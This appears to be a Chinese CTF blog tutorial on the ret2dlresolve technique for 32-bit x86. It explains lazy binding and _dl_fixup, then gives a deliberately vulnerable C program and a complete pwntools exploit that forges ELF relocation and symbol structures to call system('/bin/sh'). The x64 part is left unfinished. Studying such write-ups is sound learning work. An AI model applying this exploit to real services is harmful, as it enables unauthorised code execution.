摆烂有一阵子了,忽然想起了前段时间dasctf3月赛的pwn1,就是无leak条件下的栈溢出。

然后就想着把ret2dl好好总结一下。

x86

前置知识

最好了解一下linux系统下程序的动态链接过程,以及elf结构中与动态链接有关的结构。

可以参考一下ctf-wiki对ELF的介绍:https://ctf-wiki.org/executable/elf/structure/basic-info/

在linux中,程序会使用_dl_runtime_resolve对动态链接的函数进行重定位

在分析之前,我们再简单复习一遍lazy binding机制:

第一次调用库函数的时候,程序会先到他的plt表里,push了_dl_runtime_resolve的第二个参数reloc_offset,此时got表存的是他自己的plt表跳转过来的下一个语句,跳到公共的plt[0]处,push第一个参数link_map,最后调用_dl_runtime_resolve将重定向后的地址写到got表里。

1650545108838.png

利用_dl_fixup

分析

下面我们来看一个例子:

1
2
3
4
5
6
7
8
9
10
#include<unistd.h>
#include<stdio.h>
void fun(){
char buf[0x20];
read(0, buf, 0x100);
}
int main(){
fun();
return 0;
}

使用以下指令编译:

1
gcc ret2dl.c -o ret2dl -m32 -fno-stack-protector -no-pie -z relro

1650781037825.png

只开启Partial RELRO和NX,洞也是非常简单的栈溢出,但是没有用于leak的函数。我们尝试用ret2dlresolve来pwn掉它。

1650544684766.png

以第一次调用raed为例,我们trace进去,发现在read的plt表里先是跳到了read的got表,而got表还未绑定到read上,存的就是read的plt跳转之后的那一句指令的地址,这个时候就会将一个0压栈(这就是之后调用_dl_runtime_resolve的第二个参数,reloc_offset),然后跳到plt[0]上,将link_map压栈,调用_dl_runtime_resolve

继续跟进,

1650781224696.png

看到它调用了_dl_fixup,部分源码如下

1
2
3
4
5
6
7
8
9
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

首先通过第二个参数reloc_offset在.rel.plt上找到一个ELF32_Rel结构体,

1
2
3
4
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

其中,r_offset指向该函数的got表地址,(r_info>>8)是该函数对于.dynamic基地址的偏移

1650782070783.png

1650782298465.png

ELF32_Sym结构体的第一个元素就是对象函数的函数名字符串相对于ELF String Table的偏移

不难发现,这些结构都在bss段之前,所以伪造这些结构之前,先把栈迁移到bss段上就会好伪造很多了。

首先准备好需要用到的地址和gadgets

1650783891497.png

然后利用原本的栈溢出去读后面一部分的payload到bss段上,然后迁移上去(最好将这个地址抬高一部分,不然调用_dl_runtime_resolve会破坏掉bss段之前的内容)

1650784014065.png

然后就是伪造ELF32_Rel和ELF32_Sym这两个结构了,

1650784064607.png

要注意的是,fake_sym_addr到.dynsym的偏移一定要是0x10的整数倍,并且伪造的ELF32_Rel中的r_info得通过_dl_fixup中的检查,即将该偏移按位与上一个7(R_386_JMUP_SLOT)。

然后就能成功getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ret2dl')
p = process('./ret2dl')

# gadgets
ppp_ret = 0x08049251 # pop esi ; pop edi ; pop ebp ; ret
pop_ebp = 0x08049253 # pop ebp ; ret
leave_ret = 0x08049105 # leave ; ret

# addr
read_plt = elf.plt['read']
read_got = elf.got['read']
rel_plt = 0x8048314
dynsym = 0x8048248
string_table = 0x8048298
bss_inf = 0x804c000 + 0x800
plt_0 = 0x8049030

pay = b'a'*0x2c + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(bss_inf) + p32(0x100)
pay += p32(pop_ebp) + p32(bss_inf) + p32(leave_ret)
p.sendline(pay)

# gdb.attach(p)

fake_sym_addr = bss_inf + 0x38
fake_sym = p32(bss_inf+0x20-string_table) + p32(0) + p32(0) + p32(12)
r_info = (((fake_sym_addr-dynsym)//16)<<8)|7
fake_read_addr = bss_inf + 0x30
reloc_offset = fake_read_addr-rel_plt
fake_read = p32(read_got) + p32(r_info)

cmd_addr = bss_inf + 0x28
pay = b'aaaa' + p32(plt_0) + p32(reloc_offset) + p32(0) # _dl_runtime_resolve
pay += p32(cmd_addr) + p32(0)*3
pay += b'system\x00\x00' + b'/bin/sh\x00'
pay += fake_read + fake_sym
p.sendline(pay)

p.interactive()

x64

待续